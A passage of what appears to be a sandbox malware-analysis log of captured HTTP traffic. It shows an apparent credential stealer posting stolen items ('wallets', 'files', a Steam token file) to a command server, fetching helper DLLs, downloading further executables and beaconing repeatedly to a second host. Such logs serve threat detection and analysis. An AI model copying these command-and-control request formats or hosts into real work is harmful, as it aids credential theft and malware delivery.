------KFHCAEGCBFHJDGCBFHDAContent-Disposition: form-data; name="token"75fbdc5d01d34c426446d8919d77c5c4f805f64d5313e6b877a3548b261857f77b58d8f9------KFHCAEGCBFHJDGCBFHDAContent-Disposition: form-data; name="message"plugins------KFHCAEGCBFHJDGCBFHDA--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AECAECFCAAEBFHIEHDGHHost: 85.28.47.4Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 35 66 62 64 63 35 64 30 31 64 33 34 63 34 32 36 34 34 36 64 38 39 31 39 64 37 37 63 35 63 34 66 38 30 35 66 36 34 64 35 33 31 33 65 36 62 38 37 37 61 33 35 34 38 62 32 36 31 38 35 37 66 37 37 62 35 38 64 38 66 39 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 48 2d 2d 0d 0a Data Ascii: ------AECAECFCAAEBFHIEHDGHContent-Disposition: form-data; name="token"75fbdc5d01d34c426446d8919d77c5c4f805f64d5313e6b877a3548b261857f77b58d8f9------AECAECFCAAEBFHIEHDGHContent-Disposition: form-data; name="message"fplugins------AECAECFCAAEBFHIEHDGH--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJDBGDHIIDAEBFHJJDBFHost: 85.28.47.4Content-Length: 6903Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/sqlite3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDBKKKKKFBGDGDHIDBGHHost: 85.28.47.4Content-Length: 4599Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIEHIIIJDAAAAAAKECBFHost: 85.28.47.4Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGDBAKKJKKECGDGCAECAHost: 85.28.47.4Content-Length: 359Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 44 42 41 4b 4b 4a 4b 4b 45 43 47 44 47 43 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 35 66 62 64 63 35 64 30 31 64 33 34 63 34 32 36 34 34 36 64 38 39 31 39 64 37 37 63 35 63 34 66 38 30 35 66 36 34 64 35 33 31 33 65 36 62 38 37 37 61 33 35 34 38 62 32 36 31 38 35 37 66 37 37 62 35 38 64 38 66 39 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 41 4b 4b 4a 4b 4b 45 43 47 44 47 43 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 41 4b 4b 4a 4b 4b 45 43 47 44 47 43 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 41 4b 4b 4a 4b 4b 45 43 47 44 47 43 41 45 43 41 2d 2d 0d 0a Data Ascii: ------DGDBAKKJKKECGDGCAECAContent-Disposition: form-data; name="token"75fbdc5d01d34c426446d8919d77c5c4f805f64d5313e6b877a3548b261857f77b58d8f9------DGDBAKKJKKECGDGCAECAContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------DGDBAKKJKKECGDGCAECAContent-Disposition: form-data; name="file"------DGDBAKKJKKECGDGCAECA--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAFIEHIEGDHIDGDGHDHJHost: 85.28.47.4Content-Length: 359Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 35 66 62 64 63 35 64 30 31 64 33 34 63 34 32 36 34 34 36 64 38 39 31 39 64 37 37 63 35 63 34 66 38 30 35 66 36 34 64 35 33 31 33 65 36 62 38 37 37 61 33 35 34 38 62 32 36 31 38 35 37 66 37 37 62 35 38 64 38 66 39 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 4a 2d 2d 0d 0a Data Ascii: ------DAFIEHIEGDHIDGDGHDHJContent-Disposition: form-data; name="token"75fbdc5d01d34c426446d8919d77c5c4f805f64d5313e6b877a3548b261857f77b58d8f9------DAFIEHIEGDHIDGDGHDHJContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------DAFIEHIEGDHIDGDGHDHJContent-Disposition: form-data; name="file"------DAFIEHIEGDHIDGDGHDHJ--
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/freebl3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/mozglue.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/msvcp140.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/nss3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/softokn3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/vcruntime140.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFHCAEGCBFHJDGCBFHDAHost: 85.28.47.4Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIDHDGCBFBKECBFHCAFHost: 85.28.47.4Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 48 44 47 43 42 46 42 4b 45 43 42 46 48 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 35 66 62 64 63 35 64 30 31 64 33 34 63 34 32 36 34 34 36 64 38 39 31 39 64 37 37 63 35 63 34 66 38 30 35 66 36 34 64 35 33 31 33 65 36 62 38 37 37 61 33 35 34 38 62 32 36 31 38 35 37 66 37 37 62 35 38 64 38 66 39 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 48 44 47 43 42 46 42 4b 45 43 42 46 48 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 48 44 47 43 42 46 42 4b 45 43 42 46 48 43 41 46 2d 2d 0d 0a Data Ascii: ------EGIDHDGCBFBKECBFHCAFContent-Disposition: form-data; name="token"75fbdc5d01d34c426446d8919d77c5c4f805f64d5313e6b877a3548b261857f77b58d8f9------EGIDHDGCBFBKECBFHCAFContent-Disposition: form-data; name="message"wallets------EGIDHDGCBFBKECBFHCAF--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGHCBGCBFHIIDHIJKFBHost: 85.28.47.4Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 35 66 62 64 63 35 64 30 31 64 33 34 63 34 32 36 34 34 36 64 38 39 31 39 64 37 37 63 35 63 34 66 38 30 35 66 36 34 64 35 33 31 33 65 36 62 38 37 37 61 33 35 34 38 62 32 36 31 38 35 37 66 37 37 62 35 38 64 38 66 39 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 4a 4b 46 42 2d 2d 0d 0a Data Ascii: ------ECGHCBGCBFHIIDHIJKFBContent-Disposition: form-data; name="token"75fbdc5d01d34c426446d8919d77c5c4f805f64d5313e6b877a3548b261857f77b58d8f9------ECGHCBGCBFHIIDHIJKFBContent-Disposition: form-data; name="message"files------ECGHCBGCBFHIIDHIJKFB--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFCBAEHCAEGDHJKFHJKFHost: 85.28.47.4Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 35 66 62 64 63 35 64 30 31 64 33 34 63 34 32 36 34 34 36 64 38 39 31 39 64 37 37 63 35 63 34 66 38 30 35 66 36 34 64 35 33 31 33 65 36 62 38 37 37 61 33 35 34 38 62 32 36 31 38 35 37 66 37 37 62 35 38 64 38 66 39 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 2d 2d 0d 0a Data Ascii: ------KFCBAEHCAEGDHJKFHJKFContent-Disposition: form-data; name="token"75fbdc5d01d34c426446d8919d77c5c4f805f64d5313e6b877a3548b261857f77b58d8f9------KFCBAEHCAEGDHJKFHJKFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------KFCBAEHCAEGDHJKFHJKFContent-Disposition: form-data; name="file"------KFCBAEHCAEGDHJKFHJKF--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGDAAKJJDAAKFHJKJKFCHost: 85.28.47.4Content-Length: 270Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 35 66 62 64 63 35 64 30 31 64 33 34 63 34 32 36 34 34 36 64 38 39 31 39 64 37 37 63 35 63 34 66 38 30 35 66 36 34 64 35 33 31 33 65 36 62 38 37 37 61 33 35 34 38 62 32 36 31 38 35 37 66 37 37 62 35 38 64 38 66 39 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 6a 62 64 74 61 69 6a 6f 76 67 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 2d 2d 0d 0a Data Ascii: ------BGDAAKJJDAAKFHJKJKFCContent-Disposition: form-data; name="token"75fbdc5d01d34c426446d8919d77c5c4f805f64d5313e6b877a3548b261857f77b58d8f9------BGDAAKJJDAAKFHJKJKFCContent-Disposition: form-data; name="message"jbdtaijovg------BGDAAKJJDAAKFHJKJKFC--
Source: global traffic	HTTP traffic detected: GET /mine/amadka.exe HTTP/1.1Host: 77.91.77.81Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /stealc/random.exe HTTP/1.1Host: 77.91.77.81
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHJDGHIJDGCBAAAAAFIJHost: 85.28.47.4Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 33 31 38 30 33 44 45 30 46 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6a 6f 6e 79 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 2d 2d 0d 0a Data Ascii: ------FHJDGHIJDGCBAAAAAFIJContent-Disposition: form-data; name="hwid"231803DE0F39786254513------FHJDGHIJDGCBAAAAAFIJContent-Disposition: form-data; name="build"jony------FHJDGHIJDGCBAAAAAFIJ--
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 30 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000006001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
